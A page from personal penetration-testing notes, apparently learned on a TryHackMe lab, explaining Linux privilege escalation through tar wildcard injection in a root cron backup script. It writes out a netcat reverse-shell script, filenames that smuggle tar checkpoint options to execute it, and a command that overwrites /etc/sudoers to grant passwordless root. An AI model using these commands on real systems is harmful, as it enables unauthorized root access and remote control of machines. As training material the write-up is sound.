📔
Cyber Security Notes
  • Introduction
  • CVEs
    • CVE-2022-33106
  • Paper Reviews
    • Imperfect Forward Secrecy: How Diffie-Hellman Fails in Practice
  • Security Basics Notes
    • Identification, Authentication and Authorization
  • Enumeration and Initial Compromise
    • Methodology
    • Footprinting
    • Network Protocols
      • FTP
      • SMB
      • DNS
      • NFS
      • SMTP
      • IMAP/POP3
      • SNMP
      • MySQL
      • MSSQL
      • Oracle TNS
      • IPMI
    • Nifty One Liners
    • Brute-Force Web Pages
      • Hydra
    • Network Pentest
      • Quick SMB cheatsheet
      • SSH keypair basics
      • Compromise using SSH Key
      • Networking fundamentals Interview topics
      • nmap quick cheatsheet
      • Metasploit Quick Reference
    • Web Pentest
      • Web Pentest Interview top topics
      • Wordpress Exploitation
      • Joomla Exploitation
      • Login Bypass using Cookie Tampering/Poisoning
      • Subdomain Enumeration
      • CSRF mitigation
      • XSS mitigation
      • CSP bypass with JSONP
      • PHP Vulnerabilities
      • Python Serialization Vulnerabilities - Pickle
      • SQL Injections
        • SQLmap
      • SSTI
      • XSS
    • Buffer Overflow Prep
      • Understanding CPUs
      • Virtual Memory and Paging
      • Syscalls
      • Theorem Proving
      • Stripping readable function names
      • Insecure C functions
      • Stack Canaries
      • Linking - GOT,PLT
      • Return Oriented Programming
    • Active Directory - Basics
      • AD DS
      • Managing OUs
      • Group Policies
      • Authentications
      • Trees, Forests and Trusts
      • Kerberos
      • Attacking Kerberos
      • Priv Esc (Post Exploitation)
    • DNS/Domain Enum Masterguide
  • Post Exploitation
    • Shell Escape Techniques
    • Getting stable shell after compromise
    • Linux Privilege Escalation
      • Sudoers file
      • Sudoers entry - Yum
      • Wildcards - Basics
      • Wildcards - Chown
      • Wildcards - Tar
      • Linux Permissions & SUID/SGID/Sticky Bit
      • SUID - nmap
      • SUID - bash
      • SUID - man
      • NFS no_root_squash
      • SUID - pkexec
      • Bad permissions
    • Windows Privilege Escalation
      • SeImpersonatePrivilege Token Impersonation
      • Firefox Creds
      • Potatoes
      • Print Spooler Basics
      • Print Spooler CVE 2020-1030
      • SpoolFool
    • Data Exfiltration Post Exploitation
  • Port Forwarding Cheatsheet
  • Powershell Essentials
    • Powershell Basics
    • Powershell Enumeration
    • Powershell Port Scanner
    • Powershell One Liner Port Scanning
    • Powershell Port Scan in a given CIDR
  • Application Security
    • System Calls in Linux
    • Buffer Overflow Defenses
    • Format string vulnerabilities
    • Sample Github Actions
    • Basic Bugs in Demo Application
    • Using AFL++
  • Linux 64-bit Assembly
    • GDB Basics
      • My relevant GDB cheatsheet
      • Task 1 - Tamper strcmp logic
      • Breakpoints
      • Always starting with intel flavor
      • GDB TUI Mode
    • Basic Hello World Program
    • Registers in 64-bit
    • global directive
    • Reducing instructions and Removing NULL-> Optimizing memory in Assembly
    • Data Types
    • Endianness
    • Moving Data
    • push, pop, and the stack
    • Analysis - Writing data on memory location and referencing
    • Arithmetic Operations
    • Bitwise Logical Operations
    • Bit-Shifting Operations
    • Control Instructions
    • Loops
    • Procedures
    • Stack-Frames and Procedures
    • String Operations
    • Shellcoding basics
      • Introduction and Common Rules
      • Basic Shellcodes->Exit
      • Testing shellcode->Skeleton Code
      • Techniques-> JMP,CALL,POP
      • Techniques-> Stack
      • Techniques-> (64-bit only) RIP Relative Addressing
      • Shellcode 1 -> execve(/bin/sh) STACK PUSH
      • Shellcode 1 -> execve(/bin/sh) JMP CALL POP
      • Techniques-> XOR-Encoder
  • Cloud Security
    • Foundational Technology
    • Learning Through Project Omega
    • IAM Essentials
      • Deep dive into IAM - Part 1
    • Amazon S3
    • Risk Management & Data Controls
    • Enumeration
      • S3 - Enum Basics - PwnedLabs
      • S3 - Identify the AWS Account ID from a Public S3 Bucket
      • EBS - Loot Public EBS Volumes
      • S3- Exploit Weak Bucket Policies for Privileged Access
  • API Security
    • WSDL
  • Reverse Engineering
    • Some string Operations
    • Numbers and Inputs
    • Address inputs
    • Recursive Function
    • Crackme: level1
    • Crackme: level2
    • CTF: Memory Dereferencing
    • CTF: Monty Python
  • CTF Challenge Learnings
    • vsCTF 2024
      • Sanity Check
      • not-quite-caesar
      • Intro to reversing
    • NCL Individual 2024
      • Web Challenges
        • PiratePals
        • Pierre's Store
    • Pico CTF 2024
      • Web Exploitation
        • Bookmarklet
        • WebDecode
        • Unminify
        • Trickster
      • General Skills
        • Commitment Issues
        • Time Machine
        • Blame Game
        • Collaborative Development
        • Binary Search
        • Dont-you-love-banners
    • Sunshine CTF
      • Knowledge Repository
    • Amazon WiCys CTF
      • I am Lazy
      • Password Locker on the Web
      • Happy Birthday Card Generator
      • Bloggergate
      • simple offer
      • Bad Actor
      • Secret Server
      • Simple PCAP
      • Hidden Message
    • C code using getenv()
    • Command Injection with filter
    • Pwning
      • Shoddy_CMP
      • PLT_PlayIT
  • Applied Cryptography
    • Linear Congruential Generator
  • Tools for everything
Powered by GitBook
On this page

Was this helpful?

  1. Post Exploitation
  2. Linux Privilege Escalation

Wildcards - Tar

Learnt while tryhackme: skynet

PreviousWildcards - ChownNextLinux Permissions & SUID/SGID/Sticky Bit

Last updated 3 years ago

Was this helpful?

Read Wildcards - Chown first. There are two major techniques of exploiting wildcards with Tar

METHOD 1 => Reverse Shell through Cronjob/Script tampering using Wildcard injection

Our malignant user: kali found that every minute a directory was being backed up in the crontab and a wildcard was being used to back up everything instead of an absolute reference. This was done through a script called "backup.sh"

TAR=> The Linux ‘tar’ stands for tape archive, is used to create Archive and extract the Archive files. tar command in Linux is one of the important command which provides archiving functionality in Linux. We can use Linux tar command to create compressed or uncompressed Archive files and also maintain and modify them.

Example: This command runs echo on completion of 1 checkpoint. tar cf archive.tgz * --checkpoint=1 --checkpoint-action=echo

Now, I will exploit this functionality to escalate privileges. What I need to do is generate an msfvenom reverse shell payload and add this in directory which is being backed up along with our wildcards like so

echo "mkfifo /tmp/wdozem; nc 127.0.0.1 8888 0</tmp/wdozem | /bin/sh >/tmp/wdozem 2>&1; rm /tmp/wdozem" >shell.sh echo "" > '--checkpoint=1' echo "" > '--checkpoint-action=exec=sh shell.sh'

After a minute on our reverse listener... nc -nlvp 8888

ALSO =>The above command executes shell.sh after tar writes 512 bytes (1 record). Since the default is 10 records, if --checkpoint=<> is missing it should execute at reaching 10 records. I inupt a text file (text.txt) which is sufficiently greater than 10 records. Lets see what happens. Example:

As you can see we have received a root shell.

METHOD 2 => Privilege Escalation through tampering sudoers file with tar Wildcard Injection

The sudoers file is a file Linux and Unix administrators use to allocate system rights to system users. This allows the administrator to control who does what. Remember, Linux is built with security in mind. When you want to run a command that requires root rights, Linux checks your username against the sudoers file. This happens when you type the command “sudo”. If it determines, that your username is not on the list, you cannot run the command/program logged in as that user.

In the previous scenario, we had Tar using wildcard in a script that was backing up a directory like so:

Now, we will see method two. Suppose you have victim’s machine as a non-root user you can try to give sudo right to non-root user by adding him sudoers file.

echo 'echo "kali ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > shell.sh

After waiting a minute, we check the sudoers file sudo -l Here, you can see that user kali has been added to the sudoers file now!

I launched a bash shell using sudo command and as you can see, there is no password prompt asked as the user kali's privileges have now been escalated!

--checkpoint=<number> => The ‘--checkpoint’ option provides a flexible mechanism for executing arbitrary actions upon hitting checkpoints. The SI units of checkpoints is number of records. 1 record=512 bytes. Thus, after writing 512 bytes, tar hits first checkpoint! Default size if no --checkpoint=<number> option is given is 10 records (5120 bytes) --checkpoint-action=<execute a command> => Instruct tar to execute an action upon hitting a checkpoint. If --checkpoint=1, then checkpoint would be 512 bytes and the action will be executed at 1st checkpoint.(writing 512 bytes). Actions can be: echo, bell, dot, sleep, ttyout, exec (external commands). Refer:

https://www.gnu.org/software/tar/manual/html_node/Option-Summary.html#Option-Summary